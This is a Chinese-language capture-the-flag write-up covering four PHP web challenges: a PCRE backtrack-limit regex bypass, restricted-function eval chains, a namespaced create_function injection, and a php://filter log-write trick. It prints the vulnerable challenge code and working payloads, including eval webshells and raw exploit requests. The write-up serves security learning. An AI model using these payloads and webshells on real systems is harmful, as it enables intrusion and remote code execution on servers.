感谢p神的圈子,学到了老多姿势
easy - pcrewaf
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php function is_php($data){ return preg_match('/<\?.*[(`;?>].*/is', $data); }
if(empty($_FILES)) { die(show_source(__FILE__)); }
$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']); $data = file_get_contents($_FILES['file']['tmp_name']); if (is_php($data)) { echo "bad request"; } else { @mkdir($user_dir, 0755); $path = $user_dir . '/' . random_int(0, 10) . '.php'; move_uploaded_file($_FILES['file']['tmp_name'], $path);
header("Location: $path", true, 303); }
|
才上线时,正则写的是
可以用include "php://filter/read=convert.base64-decode/resource=./1.php";进行代码执行
修改过后,就一脸懵了,硬是没绕过。直到看了师傅们的文章。。。
正确姿势是通过插入极长的冗余代码,使正则匹配不断回溯匹配,超过设置的pcre.backtrack_limit次数限制后,preg_match将直接返回false(不是0),导致绕过
生成这样文件的代码如下:
1 2 3
| <?php $file = '<?php eval($_POST[1]);//'.str_repeat('a', 1000000); file_put_contents('a.txt', $file);
|
关于PCRE特性的介绍参看p神的文章
easy - phplimit
1 2 3 4 5 6
| <?php if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { eval($_GET['code']); } else { show_source(__FILE__); }
|
见过类似这样的题,通过getallheaders()获取消息头中的数据,达到代码执行的效果。但是这个函数数是服务于apache的,而这里通过phpinfo可知是nginx。做完后听说有个get_defined_vars()可解决,也就是说正确姿势是:
code=eval(next(current(get_defined_vars())));&a=var_dump(scandir(%27..%27));
而自己在翻文档时,没有找到这个函数,导致走了一条远路~
一开始我尝试拼接出flag文件的完整路径,再readfile,结果发现由于正则限制,函数中参数只能有一个,基本不可能,于是放弃
然后有了切换当前目录的思路,而chdir(dirname(getcwd()))返回值为true,解决这个true成了困扰我的又一问题。结果,偶然尝试出dirname(true)返回.,NICE~
刚好scandir('/var/www')数组只有四个元素array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(14) "flag_phpbyp4ss" [3]=> string(4) "html" },通过反序array_reverse和next可以取得flag文件名
综上,最终的payload:
code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));
补充
王一航大佬指点,可通过eval(session_id(session_start()))作为荷载,而session_id是需要符合一定条件的(有趣的是当session_id中含有某些特殊字符时,环境只是发出警告),引号无法使用。所以需要base64或者hex等编码处理,再传入eval达到代码执行。
最终数据包关键信息类似如下:
1 2 3
| GET /?code=eval(base64_decode(session_id(session_start()))); HTTP/1.1 Host: 51.158.75.42:8084 Cookie: PHPSESSID=cmVhZGZpbGUoJy4uL2ZsYWdfcGhwYnlwNHNzJyk7
|
easy - function
1 2 3 4 5 6 7 8 9
| <?php $action = $_GET['action'] ?? ''; $arg = $_GET['arg'] ?? '';
if(preg_match('/^[a-z0-9_]*$/isD', $action)) { show_source(__FILE__); } else { $action('', $arg); }
|
不会做(哭,看到师傅们fuzz出在函数名前加\,函数可正常执行。按p神说的,php默认命名空间\,所有原生函数和原生类都在这个命名空间中
在函数的选择上,使用的是create_function,该函数可创建一个匿名函数,第二个参数为匿名函数的代码内容。如何执行代码呢,参看师傅们的payload
action=%5Ccreate_function&arg=return%201;}readfile(%27../flag_h0w2execute_arb1trary_c0de%27);//
easy - phpmagic
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <?php if(isset($_GET['read-source'])) { exit(show_source(__FILE__)); }
define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));
if(!is_dir(DATA_DIR)) { mkdir(DATA_DIR, 0755, true); } chdir(DATA_DIR);
$domain = isset($_POST['domain']) ? $_POST['domain'] : ''; $log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d'); ?> <!-- html code --> <?php if(!empty($_POST) && $domain): $command = sprintf("dig -t A -q %s", escapeshellarg($domain)); $output = shell_exec($command);
$output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);
$log_name = $_SERVER['SERVER_NAME'] . $log_name; if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) { file_put_contents($log_name, $output); }
echo $output; endif; ?>
|
看师傅们的文章做出来的,没想到手笨还是弄了很久
由于对文件内容有htmlspecialchars处理,PHP标签会失效。刚好这里的$log_name是由$_SERVER['REMOTE_ADDR']和$_GET['log']拼接成的,均可控,使用php://filter伪协议可对写入内容进行处理,例如base64编码。而在后缀问题上可采用/.做为后缀,而不会影响写入
想重复使用同一文件名操作的话,这里有个覆盖文件内容的小技巧,就是使用类似aaa/../1.php/.的路径
最后的数据包关键信息类似如下:
1 2 3 4 5
| POST / HTTP/1.1 Host: php Origin: http://51.158.75.42:8082
domain=PD9waHAgZXZhbCgkX0dFVFsnYWJjJ10pOz8%2b&log=://filter/write=convert.base64-decode/resource=1.php/.
|